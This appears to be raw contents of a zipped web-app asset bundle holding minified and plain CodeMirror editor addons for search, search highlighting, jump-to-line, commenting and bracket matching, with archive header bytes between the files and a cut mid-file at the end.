$jscomp.getGlobal=function(b){return"undefined"!=typeof window&&window===b?b:"undefined"!=typeof global&&null!=global?global:b};$jscomp.global=$jscomp.getGlobal(this);$jscomp.polyfill=function(b,h,e,k){if(h){e=$jscomp.global;b=b.split(".");for(k=0;k<b.length-1;k++){var g=b[k];g in e||(e[g]={});e=e[g]}b=b[b.length-1];k=e[b];h=h(k);h!=k&&null!=h&&$jscomp.defineProperty(e,b,{configurable:!0,writable:!0,value:h})}};
$jscomp.polyfill("Array.prototype.find",function(b){return b?b:function(b,e){return $jscomp.findInternal(this,b,e).v}},"es6-impl","es3");
(function(b){"object"==typeof exports&&"object"==typeof module?b(require("../../lib/codemirror"),require("./searchcursor"),require("../dialog/dialog")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","./searchcursor","../dialog/dialog"],b):b(CodeMirror)})(function(b){function h(a,c){"string"==typeof a?a=new RegExp(a.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&"),c?"gi":"g"):a.global||(a=new RegExp(a.source,a.ignoreCase?"gi":"g"));return{token:function(c){a.lastIndex=c.pos;
var b=a.exec(c.string);if(b&&b.index==c.pos)return c.pos+=b[0].length||1,"searching";b?c.pos=b.index:c.skipToEnd()}}}function e(){this.overlay=this.posFrom=this.posTo=this.lastQuery=this.query=null}function k(a){return a.state.search||(a.state.search=new e)}function g(a){return"string"==typeof a&&a==a.toLowerCase()}function l(a,c,b){return a.getSearchCursor(c,b,{caseFold:g(c),multiline:!0})}function y(a,c,b,f,d){a.openDialog(c,f,{value:b,selectValueOnOpen:!0,closeOnEnter:!1,onClose:function(){n(a)},
onKeyDown:d})}function r(a,c,b,f,d){a.openDialog?a.openDialog(c,d,{value:f,selectValueOnOpen:!0}):d(prompt(b,f))}function z(a,c,b,f){if(a.openConfirm)a.openConfirm(c,f);else if(confirm(b))f[0]()}function u(a){return a.replace(/\\(.)/g,function(a,b){return"n"==b?"\n":"r"==b?"\r":b})}function v(a){var b=a.match(/^\/(.*)\/([a-z]*)$/);if(b)try{a=new RegExp(b[1],-1==b[2].indexOf("i")?"":"i")}catch(A){}else a=u(a);if("string"==typeof a?""==a:a.test(""))a=/x^/;return a}function p(a,b,e){b.queryText=e;b.query=
v(e);a.removeOverlay(b.overlay,g(b.query));b.overlay=h(b.query,g(b.query));a.addOverlay(b.overlay);a.showMatchesOnScrollbar&&(b.annotate&&(b.annotate.clear(),b.annotate=null),b.annotate=a.showMatchesOnScrollbar(b.query,g(b.query)))}function m(a,c,e,f){var d=k(a);if(d.query)return q(a,c);var g=a.getSelection()||d.lastQuery;if(e&&a.openDialog){var t=null,h=function(c,f){b.e_stop(f);c&&(c!=d.queryText&&(p(a,d,c),d.posFrom=d.posTo=a.getCursor()),t&&(t.style.opacity=1),q(a,f.shiftKey,function(b,c){var d;
3>c.line&&document.querySelector&&(d=a.display.wrapper.querySelector(".CodeMirror-dialog"))&&d.getBoundingClientRect().bottom-4>a.cursorCoords(c,"window").top&&((t=d).style.opacity=.4)}))};y(a,'<span class="CodeMirror-search-label">Search:</span> <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">(Use /re/ syntax for regexp search)</span>',g,h,function(c,d){var f=b.keyName(c),e=b.keyMap[a.getOption("keyMap")][f];e||(e=
a.getOption("extraKeys")[f]);if("findNext"==e||"findPrev"==e||"findPersistentNext"==e||"findPersistentPrev"==e)b.e_stop(c),p(a,k(a),d),a.execCommand(e);else if("find"==e||"findPersistent"==e)b.e_stop(c),h(d,c)});f&&g&&(p(a,d,g),q(a,c))}else r(a,'<span class="CodeMirror-search-label">Search:</span> <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">(Use /re/ syntax for regexp search)</span>',"Search for:",g,function(b){b&&
!d.query&&a.operation(function(){p(a,d,b);d.posFrom=d.posTo=a.getCursor();q(a,c)})})}function q(a,c,e){a.operation(function(){var f=k(a),d=l(a,f.query,c?f.posFrom:f.posTo);if(!d.find(c)&&(d=l(a,f.query,c?b.Pos(a.lastLine()):b.Pos(a.firstLine(),0)),!d.find(c)))return;a.setSelection(d.from(),d.to());a.scrollIntoView({from:d.from(),to:d.to()},20);f.posFrom=d.from();f.posTo=d.to();e&&e(d.from(),d.to())})}function n(a){a.operation(function(){var b=k(a);if(b.lastQuery=b.query)b.query=b.queryText=null,a.removeOverlay(b.overlay),
b.annotate&&(b.annotate.clear(),b.annotate=null)})}function w(a,b,e){a.operation(function(){for(var c=l(a,b);c.findNext();)if("string"!=typeof b){var d=a.getRange(c.from(),c.to()).match(b);c.replace(e.replace(/\$(\d)/g,function(a,b){return d[b]}))}else c.replace(e)})}function x(a,b){if(!a.getOption("readOnly")){var c=a.getSelection()||k(a).lastQuery,e='<span class="CodeMirror-search-label">'+(b?"Replace all:":"Replace:")+"</span>";r(a,e+' <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">(Use /re/ syntax for regexp search)</span>',
e,c,function(c){c&&(c=v(c),r(a,'<span class="CodeMirror-search-label">With:</span> <input type="text" style="width: 10em" class="CodeMirror-search-field"/>',"Replace with:","",function(e){e=u(e);if(b)w(a,c,e);else{n(a);var d=l(a,c,a.getCursor("from")),f=function(){var b=d.from(),h;if(!(h=d.findNext())&&(d=l(a,c),!(h=d.findNext())||b&&d.from().line==b.line&&d.from().ch==b.ch))return;a.setSelection(d.from(),d.to());a.scrollIntoView({from:d.from(),to:d.to()});z(a,'<span class="CodeMirror-search-label">Replace?</span> <button>Yes</button> <button>No</button> <button>All</button> <button>Stop</button>',
"Replace?",[function(){g(h)},f,function(){w(a,c,e)}])},g=function(a){d.replace("string"==typeof c?e:e.replace(/\$(\d)/g,function(b,c){return a[c]}));f()};f()}}))})}}b.commands.find=function(a){n(a);m(a)};b.commands.findPersistent=function(a){n(a);m(a,!1,!0)};b.commands.findPersistentNext=function(a){m(a,!1,!0,!0)};b.commands.findPersistentPrev=function(a){m(a,!0,!0,!0)};b.commands.findNext=m;b.commands.findPrev=function(a){m(a,!0)};b.commands.clearSearch=n;b.commands.replace=x;b.commands.replaceAll=
function(a){x(a,!0)}});
PK     ]t]±¥0ÆZ  Z  4  assets/codemirror/addon/search/matchesonscrollbar.jsnu ÕIw¶´        'use strict';(function(d){"object"==typeof exports&&"object"==typeof module?d(require("../../lib/codemirror"),require("./searchcursor"),require("../scroll/annotatescrollbar")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","./searchcursor","../scroll/annotatescrollbar"],d):d(CodeMirror)})(function(d){function g(a,c,b,e){this.cm=a;this.options=e;var f={listenForChanges:!1},d;for(d in e)f[d]=e[d];f.className||(f.className="CodeMirror-search-match");this.annotation=a.annotateScrollbar(f);
this.query=c;this.caseFold=b;this.gap={from:a.firstLine(),to:a.lastLine()+1};this.matches=[];this.update=null;this.findMatches();this.annotation.update(this.matches);var g=this;a.on("change",this.changeHandler=function(a,b){g.onChange(b)})}function h(a,c,b){return a<=c?a:Math.max(c,a+b)}d.defineExtension("showMatchesOnScrollbar",function(a,c,b){"string"==typeof b&&(b={className:b});b||(b={});return new g(this,a,c,b)});g.prototype.findMatches=function(){if(this.gap){for(var a=0;a<this.matches.length;a++){var c=
this.matches[a];if(c.from.line>=this.gap.to)break;c.to.line>=this.gap.from&&this.matches.splice(a--,1)}for(var b=this.cm.getSearchCursor(this.query,d.Pos(this.gap.from,0),this.caseFold),e=this.options&&this.options.maxMatches||1E3;b.findNext();){c={from:b.from(),to:b.to()};if(c.from.line>=this.gap.to)break;this.matches.splice(a++,0,c);if(this.matches.length>e)break}this.gap=null}};g.prototype.onChange=function(a){var c=a.from.line,b=d.changeEnd(a).line,e=b-a.to.line;this.gap?(this.gap.from=Math.min(h(this.gap.from,
c,e),a.from.line),this.gap.to=Math.max(h(this.gap.to,c,e),a.from.line)):this.gap={from:a.from.line,to:b+1};if(e)for(a=0;a<this.matches.length;a++){var b=this.matches[a],f=h(b.from.line,c,e);f!=b.from.line&&(b.from=d.Pos(f,b.from.ch));f=h(b.to.line,c,e);f!=b.to.line&&(b.to=d.Pos(f,b.to.ch))}clearTimeout(this.update);var g=this;this.update=setTimeout(function(){g.updateAfterChange()},250)};g.prototype.updateAfterChange=function(){this.findMatches();this.annotation.update(this.matches)};g.prototype.clear=
function(){this.cm.off("change",this.changeHandler);this.annotation.clear()}});
PK     ]t]•ÝLÉQ
  Q
  3  assets/codemirror/addon/search/match-highlighter.jsnu ÕIw¶´        'use strict';(function(f){"object"==typeof exports&&"object"==typeof module?f(require("../../lib/codemirror"),require("./matchesonscrollbar")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","./matchesonscrollbar"],f):f(CodeMirror)})(function(f){function q(a){this.options={};for(var b in g)this.options[b]=(a&&a.hasOwnProperty(b)?a:g)[b];this.matchesonscroll=this.overlay=this.timeout=null;this.active=!1}function h(a){var b=a.state.matchHighlighter;(b.active||a.hasFocus())&&k(a,
b)}function l(a){var b=a.state.matchHighlighter;b.active||(b.active=!0,k(a,b))}function k(a,b){clearTimeout(b.timeout);b.timeout=setTimeout(function(){m(a)},b.options.delay)}function n(a,b,d,c){var e=a.state.matchHighlighter;a.addOverlay(e.overlay=r(b,d,c));e.options.annotateScrollbar&&a.showMatchesOnScrollbar&&(e.matchesonscroll=a.showMatchesOnScrollbar(d?new RegExp("\\b"+b+"\\b"):b,!1,{className:"CodeMirror-selection-highlight-scrollbar"}))}function p(a){var b=a.state.matchHighlighter;b.overlay&&
(a.removeOverlay(b.overlay),b.overlay=null,b.matchesonscroll&&(b.matchesonscroll.clear(),b.matchesonscroll=null))}function m(a){a.operation(function(){var b=a.state.matchHighlighter;p(a);if(!a.somethingSelected()&&b.options.showToken){for(var d=!0===b.options.showToken?/[\w$]/:b.options.showToken,c=a.getCursor(),e=a.getLine(c.line),f=c=c.ch;c&&d.test(e.charAt(c-1));)--c;for(;f<e.length&&d.test(e.charAt(f));)++f;c<f&&n(a,e.slice(c,f),d,b.options.style)}else if(d=a.getCursor("from"),e=a.getCursor("to"),
d.line==e.line){if(c=b.options.wordsOnly){a:if(null!==a.getRange(d,e).match(/^\w+$/)){if(0<d.ch&&(c={line:d.line,ch:d.ch-1},c=a.getRange(c,d),null===c.match(/\W/))){c=!1;break a}if(e.ch<a.getLine(d.line).length&&(c={line:e.line,ch:e.ch+1},c=a.getRange(e,c),null===c.match(/\W/))){c=!1;break a}c=!0}else c=!1;c=!c}c||(d=a.getRange(d,e),b.options.trim&&(d=d.replace(/^\s+|\s+$/g,"")),d.length>=b.options.minChars&&n(a,d,!1,b.options.style))}})}function r(a,b,d){return{token:function(c){var e;if(e=c.match(a))(e=
!b)||(e=(!c.start||!b.test(c.string.charAt(c.start-1)))&&(c.pos==c.string.length||!b.test(c.string.charAt(c.pos))));if(e)return d;c.next();c.skipTo(a.charAt(0))||c.skipToEnd()}}}var g={style:"matchhighlight",minChars:2,delay:100,wordsOnly:!1,annotateScrollbar:!1,showToken:!1,trim:!0};f.defineOption("highlightSelectionMatches",!1,function(a,b,d){d&&d!=f.Init&&(p(a),clearTimeout(a.state.matchHighlighter.timeout),a.state.matchHighlighter=null,a.off("cursorActivity",h),a.off("focus",l));if(b){b=a.state.matchHighlighter=
new q(b);if(a.hasFocus())b.active=!0,m(a);else a.on("focus",l);a.on("cursorActivity",h)}})});
PK     ]t]Û@~        5  assets/codemirror/addon/search/matchesonscrollbar.cssnu ÕIw¶´        .CodeMirror-search-match{background:gold;border-top:1px solid orange;border-bottom:1px solid orange;-moz-box-sizing:border-box;box-sizing:border-box;opacity:.5}PK     ]t]kãýE  E  .  assets/codemirror/addon/search/jump-to-line.jsnu ÕIw¶´        'use strict';(function(e){"object"==typeof exports&&"object"==typeof module?e(require("../../lib/codemirror"),require("../dialog/dialog")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","../dialog/dialog"],e):e(CodeMirror)})(function(e){function g(a,d,b,c,e){a.openDialog?a.openDialog(d,e,{value:c,selectValueOnOpen:!0}):e(prompt(b,c))}function f(a,d){var b=Number(d);return/^[-+]/.test(d)?a.getCursor().line+b:b-1}e.commands.jumpToLine=function(a){var d=a.getCursor();g(a,'Jump to line: <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">(Use line:column or scroll% syntax)</span>',
"Jump to line:",d.line+1+":"+d.ch,function(b){if(b){var c;(c=/^\s*([\+\-]?\d+)\s*\:\s*(\d+)\s*$/.exec(b))?a.setCursor(f(a,c[1]),Number(c[2])):(c=/^\s*([\+\-]?\d+(\.\d+)?)\%\s*/.exec(b))?(b=Math.round(a.lineCount()*Number(c[1])/100),/^[-+]/.test(c[1])&&(b=d.line+b+1),a.setCursor(b-1,d.ch)):(c=/^\s*\:?\s*([\+\-]?\d+)\s*/.exec(b))&&a.setCursor(f(a,c[1]),d.ch)}})};e.keyMap["default"]["Alt-G"]="jumpToLine"});
PK     ]t]€xýŽ·  ·  .  assets/codemirror/addon/search/searchcursor.jsnu ÕIw¶´        'use strict';var $jscomp=$jscomp||{};$jscomp.scope={};$jscomp.findInternal=function(b,l,f){b instanceof String&&(b=String(b));for(var r=b.length,q=0;q<r;q++){var u=b[q];if(l.call(f,u,q,b))return{i:q,v:u}}return{i:-1,v:void 0}};$jscomp.ASSUME_ES5=!1;$jscomp.ASSUME_NO_NATIVE_MAP=!1;$jscomp.ASSUME_NO_NATIVE_SET=!1;$jscomp.defineProperty=$jscomp.ASSUME_ES5||"function"==typeof Object.defineProperties?Object.defineProperty:function(b,l,f){b!=Array.prototype&&b!=Object.prototype&&(b[l]=f.value)};
$jscomp.getGlobal=function(b){return"undefined"!=typeof window&&window===b?b:"undefined"!=typeof global&&null!=global?global:b};$jscomp.global=$jscomp.getGlobal(this);$jscomp.polyfill=function(b,l,f,r){if(l){f=$jscomp.global;b=b.split(".");for(r=0;r<b.length-1;r++){var q=b[r];q in f||(f[q]={});f=f[q]}b=b[b.length-1];r=f[b];l=l(r);l!=r&&null!=l&&$jscomp.defineProperty(f,b,{configurable:!0,writable:!0,value:l})}};
$jscomp.polyfill("Array.prototype.find",function(b){return b?b:function(b,f){return $jscomp.findInternal(this,b,f).v}},"es6-impl","es3");
(function(b){"object"==typeof exports&&"object"==typeof module?b(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],b):b(CodeMirror)})(function(b){function l(c){if(!c.global){var a=c.flags;c=new RegExp(c.source,(null!=a?a:(c.ignoreCase?"i":"")+(c.global?"g":"")+(c.multiline?"m":""))+"g")}return c}function f(c,a,d){a=l(a);var e=d.line,k=d.ch;for(d=c.lastLine();e<=d;e++,k=0)if(a.lastIndex=k,k=c.getLine(e),k=a.exec(k))return{from:g(e,k.index),to:g(e,
k.index+k[0].length),match:k}}function r(c,a,d){if(!/\\s|\\n|\n|\\W|\\D|\[\^/.test(a.source))return f(c,a,d);a=l(a);for(var e,k=1,b=d.line,n=c.lastLine();b<=n;){for(var h=0;h<k;h++){var p=c.getLine(b++);e=null==e?p:e+"\n"+p}k*=2;a.lastIndex=d.ch;if(h=a.exec(e))return a=e.slice(0,h.index).split("\n"),c=h[0].split("\n"),d=d.line+a.length-1,a=a[a.length-1].length,{from:g(d,a),to:g(d+c.length-1,1==c.length?a+c[0].length:c[c.length-1].length),match:h}}}function q(c,a){for(var d=0,e;;){a.lastIndex=d;d=
a.exec(c);if(!d)return e;e=d;d=e.index+(e[0].length||1);if(d==c.length)return e}}function u(c,a,d){a=l(a);var e=d.line,k=d.ch;for(d=c.firstLine();e>=d;e--,k=-1){var b=c.getLine(e);-1<k&&(b=b.slice(0,k));if(k=q(b,a))return{from:g(e,k.index),to:g(e,k.index+k[0].length),match:k}}}function z(c,a,d){a=l(a);for(var e,k=1,b=d.line,n=c.firstLine();b>=n;){for(var h=0;h<k;h++){var p=c.getLine(b--);e=null==e?p.slice(0,d.ch):p+"\n"+e}k*=2;if(h=q(e,a))return a=e.slice(0,h.index).split("\n"),c=h[0].split("\n"),
b+=a.length,a=a[a.length-1].length,{from:g(b,a),to:g(b+c.length-1,1==c.length?a+c[0].length:c[c.length-1].length),match:h}}}function t(c,a,d,e){if(c.length==a.length)return d;var b=0;for(a=d+Math.max(0,c.length-a.length);;){if(b==a)return b;var g=b+a>>1,n=e(c.slice(0,g)).length;if(n==d)return g;n>d?a=g:b=g+1}}function A(c,a,d,e){if(!a.length)return null;e=e?v:w;a=e(a).split(/\r|\n\r?/);var b=d.line;d=d.ch;var y=c.lastLine()+1-a.length;a:for(;b<=y;b++,d=0){var n=c.getLine(b).slice(d),h=e(n);if(1==
a.length){var p=h.indexOf(a[0]);if(-1==p)continue a;t(n,h,p,e);return{from:g(b,t(n,h,p,e)+d),to:g(b,t(n,h,p+a[0].length,e)+d)}}p=h.length-a[0].length;if(h.slice(p)!=a[0])continue a;for(var m=1;m<a.length-1;m++)if(e(c.getLine(b+m))!=a[m])continue a;var m=c.getLine(b+a.length-1),l=e(m),f=a[a.length-1];if(m.slice(0,f.length)!=f)continue a;return{from:g(b,t(n,h,p,e)+d),to:g(b+a.length-1,t(m,l,f.length,e))}}}function B(c,a,b,e){if(!a.length)return null;e=e?v:w;a=e(a).split(/\r|\n\r?/);var d=b.line,f=b.ch,
n=c.firstLine()-1+a.length;a:for(;d>=n;d--,f=-1){var h=c.getLine(d);-1<f&&(h=h.slice(0,f));f=e(h);if(1==a.length){b=f.lastIndexOf(a[0]);if(-1==b)continue a;return{from:g(d,t(h,f,b,e)),to:g(d,t(h,f,b+a[0].length,e))}}var l=a[a.length-1];if(f.slice(0,l.length)!=l)continue a;var m=1;for(b=d-a.length+1;m<a.length-1;m++)if(e(c.getLine(b+m))!=a[m])continue a;b=c.getLine(d+1-a.length);m=e(b);if(m.slice(m.length-a[0].length)!=a[0])continue a;return{from:g(d+1-a.length,t(b,m,b.length-a[0].length,e)),to:g(d,
t(h,f,l.length,e))}}}function x(c,a,b,e){this.atOccurrence=!1;this.doc=c;b=b?c.clipPos(b):g(0,0);this.pos={from:b,to:b};if("object"==typeof e)var d=e.caseFold;else d=e,e=null;"string"==typeof a?(null==d&&(d=!1),this.matches=function(b,e){return(b?B:A)(c,a,e,d)}):(a=l(a),this.matches=e&&!1===e.multiline?function(b,d){return(b?u:f)(c,a,d)}:function(b,d){return(b?z:r)(c,a,d)})}var g=b.Pos;if(String.prototype.normalize){var v=function(b){return b.normalize("NFD").toLowerCase()};var w=function(b){return b.normalize("NFD")}}else v=
function(b){return b.toLowerCase()},w=function(b){return b};x.prototype={findNext:function(){return this.find(!1)},findPrevious:function(){return this.find(!0)},find:function(c){for(var a=this.matches(c,this.doc.clipPos(c?this.pos.from:this.pos.to));a&&0==b.cmpPos(a.from,a.to);)c?a.from.ch?a.from=g(a.from.line,a.from.ch-1):a=a.from.line==this.doc.firstLine()?null:this.matches(c,this.doc.clipPos(g(a.from.line-1))):a.to.ch<this.doc.getLine(a.to.line).length?a.to=g(a.to.line,a.to.ch+1):a=a.to.line==
this.doc.lastLine()?null:this.matches(c,g(a.to.line+1,0));if(a)return this.pos=a,this.atOccurrence=!0,this.pos.match||!0;c=g(c?this.doc.firstLine():this.doc.lastLine()+1,0);this.pos={from:c,to:c};return this.atOccurrence=!1},from:function(){if(this.atOccurrence)return this.pos.from},to:function(){if(this.atOccurrence)return this.pos.to},replace:function(c,a){this.atOccurrence&&(c=b.splitLines(c),this.doc.replaceRange(c,this.pos.from,this.pos.to,a),this.pos.to=g(this.pos.from.line+c.length-1,c[c.length-
1].length+(1==c.length?this.pos.from.ch:0)))}};b.defineExtension("getSearchCursor",function(b,a,d){return new x(this.doc,b,a,d)});b.defineDocExtension("getSearchCursor",function(b,a,d){return new x(this,b,a,d)});b.defineExtension("selectMatches",function(c,a){var d=[];for(c=this.getSearchCursor(c,this.getCursor("from"),a);c.findNext()&&!(0<b.cmpPos(c.to(),this.getCursor("to")));)d.push({anchor:c.from(),head:c.to()});d.length&&this.setSelections(d,0)})});
PK     ]t][ˆð6"#  "#  *  assets/codemirror/addon/comment/comment.jsnu ÕIw¶´        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var noOptions = {};
  var nonWS = /[^\s\u00a0]/;
  var Pos = CodeMirror.Pos;

  function firstNonWS(str) {
    var found = str.search(nonWS);
    return found == -1 ? 0 : found;
  }

  CodeMirror.commands.toggleComment = function(cm) {
    cm.toggleComment();
  };

  CodeMirror.defineExtension("toggleComment", function(options) {
    if (!options) options = noOptions;
    var cm = this;
    var minLine = Infinity, ranges = this.listSelections(), mode = null;
    for (var i = ranges.length - 1; i >= 0; i--) {
      var from = ranges[i].from(), to = ranges[i].to();
      if (from.line >= minLine) continue;
      if (to.line >= minLine) to = Pos(minLine, 0);
      minLine = from.line;
      if (mode == null) {
        if (cm.uncomment(from, to, options)) mode = "un";
        else { cm.lineComment(from, to, options); mode = "line"; }
      } else if (mode == "un") {
        cm.uncomment(from, to, options);
      } else {
        cm.lineComment(from, to, options);
      }
    }
  });

  // Rough heuristic to try and detect lines that are part of multi-line string
  function probablyInsideString(cm, pos, line) {
    return /\bstring\b/.test(cm.getTokenTypeAt(Pos(pos.line, 0))) && !/^[\'\"\`]/.test(line)
  }

  function getMode(cm, pos) {
    var mode = cm.getMode()
    return mode.useInnerComments === false || !mode.innerMode ? mode : cm.getModeAt(pos)
  }

  CodeMirror.defineExtension("lineComment", function(from, to, options) {
    if (!options) options = noOptions;
    var self = this, mode = getMode(self, from);
    var firstLine = self.getLine(from.line);
    if (firstLine == null || probablyInsideString(self, from, firstLine)) return;

    var commentString = options.lineComment || mode.lineComment;
    if (!commentString) {
      if (options.blockCommentStart || mode.blockCommentStart) {
        options.fullLines = true;
        self.blockComment(from, to, options);
      }
      return;
    }

    var end = Math.min(to.ch != 0 || to.line == from.line ? to.line + 1 : to.line, self.lastLine() + 1);
    var pad = options.padding == null ? " " : options.padding;
    var blankLines = options.commentBlankLines || from.line == to.line;

    self.operation(function() {
      if (options.indent) {
        var baseString = null;
        for (var i = from.line; i < end; ++i) {
          var line = self.getLine(i);
          var whitespace = line.slice(0, firstNonWS(line));
          if (baseString == null || baseString.length > whitespace.length) {
            baseString = whitespace;
          }
        }
        for (var i = from.line; i < end; ++i) {
          var line = self.getLine(i), cut = baseString.length;
          if (!blankLines && !nonWS.test(line)) continue;
          if (line.slice(0, cut) != baseString) cut = firstNonWS(line);
          self.replaceRange(baseString + commentString + pad, Pos(i, 0), Pos(i, cut));
        }
      } else {
        for (var i = from.line; i < end; ++i) {
          if (blankLines || nonWS.test(self.getLine(i)))
            self.replaceRange(commentString + pad, Pos(i, 0));
        }
      }
    });
  });

  CodeMirror.defineExtension("blockComment", function(from, to, options) {
    if (!options) options = noOptions;
    var self = this, mode = getMode(self, from);
    var startString = options.blockCommentStart || mode.blockCommentStart;
    var endString = options.blockCommentEnd || mode.blockCommentEnd;
    if (!startString || !endString) {
      if ((options.lineComment || mode.lineComment) && options.fullLines != false)
        self.lineComment(from, to, options);
      return;
    }
    if (/\bcomment\b/.test(self.getTokenTypeAt(Pos(from.line, 0)))) return

    var end = Math.min(to.line, self.lastLine());
    if (end != from.line && to.ch == 0 && nonWS.test(self.getLine(end))) --end;

    var pad = options.padding == null ? " " : options.padding;
    if (from.line > end) return;

    self.operation(function() {
      if (options.fullLines != false) {
        var lastLineHasText = nonWS.test(self.getLine(end));
        self.replaceRange(pad + endString, Pos(end));
        self.replaceRange(startString + pad, Pos(from.line, 0));
        var lead = options.blockCommentLead || mode.blockCommentLead;
        if (lead != null) for (var i = from.line + 1; i <= end; ++i)
          if (i != end || lastLineHasText)
            self.replaceRange(lead + pad, Pos(i, 0));
      } else {
        self.replaceRange(endString, to);
        self.replaceRange(startString, from);
      }
    });
  });

  CodeMirror.defineExtension("uncomment", function(from, to, options) {
    if (!options) options = noOptions;
    var self = this, mode = getMode(self, from);
    var end = Math.min(to.ch != 0 || to.line == from.line ? to.line : to.line - 1, self.lastLine()), start = Math.min(from.line, end);

    // Try finding line comments
    var lineString = options.lineComment || mode.lineComment, lines = [];
    var pad = options.padding == null ? " " : options.padding, didSomething;
    lineComment: {
      if (!lineString) break lineComment;
      for (var i = start; i <= end; ++i) {
        var line = self.getLine(i);
        var found = line.indexOf(lineString);
        if (found > -1 && !/comment/.test(self.getTokenTypeAt(Pos(i, found + 1)))) found = -1;
        if (found == -1 && nonWS.test(line)) break lineComment;
        if (found > -1 && nonWS.test(line.slice(0, found))) break lineComment;
        lines.push(line);
      }
      self.operation(function() {
        for (var i = start; i <= end; ++i) {
          var line = lines[i - start];
          var pos = line.indexOf(lineString), endPos = pos + lineString.length;
          if (pos < 0) continue;
          if (line.slice(endPos, endPos + pad.length) == pad) endPos += pad.length;
          didSomething = true;
          self.replaceRange("", Pos(i, pos), Pos(i, endPos));
        }
      });
      if (didSomething) return true;
    }

    // Try block comments
    var startString = options.blockCommentStart || mode.blockCommentStart;
    var endString = options.blockCommentEnd || mode.blockCommentEnd;
    if (!startString || !endString) return false;
    var lead = options.blockCommentLead || mode.blockCommentLead;
    var startLine = self.getLine(start), open = startLine.indexOf(startString)
    if (open == -1) return false
    var endLine = end == start ? startLine : self.getLine(end)
    var close = endLine.indexOf(endString, end == start ? open + startString.length : 0);
    var insideStart = Pos(start, open + 1), insideEnd = Pos(end, close + 1)
    if (close == -1 ||
        !/comment/.test(self.getTokenTypeAt(insideStart)) ||
        !/comment/.test(self.getTokenTypeAt(insideEnd)) ||
        self.getRange(insideStart, insideEnd, "\n").indexOf(endString) > -1)
      return false;

    // Avoid killing block comments completely outside the selection.
    // Positions of the last startString before the start of the selection, and the first endString after it.
    var lastStart = startLine.lastIndexOf(startString, from.ch);
    var firstEnd = lastStart == -1 ? -1 : startLine.slice(0, from.ch).indexOf(endString, lastStart + startString.length);
    if (lastStart != -1 && firstEnd != -1 && firstEnd + endString.length != from.ch) return false;
    // Positions of the first endString after the end of the selection, and the last startString before it.
    firstEnd = endLine.indexOf(endString, to.ch);
    var almostLastStart = endLine.slice(to.ch).lastIndexOf(startString, firstEnd - to.ch);
    lastStart = (firstEnd == -1 || almostLastStart == -1) ? -1 : to.ch + almostLastStart;
    if (firstEnd != -1 && lastStart != -1 && lastStart != to.ch) return false;

    self.operation(function() {
      self.replaceRange("", Pos(end, close - (pad && endLine.slice(close - pad.length, close) == pad ? pad.length : 0)),
                        Pos(end, close + endString.length));
      var openEnd = open + startString.length;
      if (pad && startLine.slice(openEnd, openEnd + pad.length) == pad) openEnd += pad.length;
      self.replaceRange("", Pos(start, open), Pos(start, openEnd));
      if (lead) for (var i = start + 1; i <= end; ++i) {
        var line = self.getLine(i), found = line.indexOf(lead);
        if (found == -1 || nonWS.test(line.slice(0, found))) continue;
        var foundEnd = found + lead.length;
        if (pad && line.slice(foundEnd, foundEnd + pad.length) == pad) foundEnd += pad.length;
        self.replaceRange("", Pos(i, found), Pos(i, foundEnd));
      }
    });
    return true;
  });
});
PK     ]t]²KÃÏ#
  #
  -  assets/codemirror/addon/edit/matchbrackets.jsnu ÕIw¶´        'use strict';(function(d){"object"==typeof exports&&"object"==typeof module?d(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)})(function(d){function q(a,c,b){var l=a.getLineHandle(c.line),e=c.ch-1,k=b&&b.afterCursor;null==k&&(k=/(^| )cm-fat-cursor($| )/.test(a.getWrapperElement().className));l=!k&&0<=e&&n[l.text.charAt(e)]||n[l.text.charAt(++e)];if(!l)return null;k=">"==l.charAt(1)?1:-1;if(b&&b.strict&&0<k!=(e==c.ch))return null;
var h=a.getTokenTypeAt(m(c.line,e+1));a=t(a,m(c.line,e+(0<k?1:0)),k,h||null,b);return null==a?null:{from:m(c.line,e),to:a&&a.pos,match:a&&a.ch==l.charAt(0),forward:0<k}}function t(a,c,b,l,e){var k=e&&e.maxScanLineLength||1E4,h=e&&e.maxScanLines||1E3,g=[];e=e&&e.bracketRegex?e.bracketRegex:/[(){}[\]]/;for(var h=0<b?Math.min(c.line+h,a.lastLine()+1):Math.max(a.firstLine()-1,c.line-h),d=c.line;d!=h;d+=b){var p=a.getLine(d);if(p){var f=0<b?0:p.length-1,q=0<b?p.length:-1;if(!(p.length>k))for(d==c.line&&
(f=c.ch-(0>b?1:0));f!=q;f+=b){var r=p.charAt(f);if(e.test(r)&&(void 0===l||a.getTokenTypeAt(m(d,f+1))==l))if(">"==n[r].charAt(1)==0<b)g.push(r);else if(g.length)g.pop();else return{pos:m(d,f),ch:r}}}}return d-b==(0<b?a.lastLine():a.firstLine())?!1:null}function u(a,c,b){for(var d=a.state.matchBrackets.maxHighlightLineLength||1E3,e=[],f=a.listSelections(),h=0;h<f.length;h++){var g=f[h].empty()&&q(a,f[h].head,b);if(g&&a.getLine(g.from.line).length<=d){var n=g.match?"CodeMirror-matchingbracket":"CodeMirror-nonmatchingbracket";
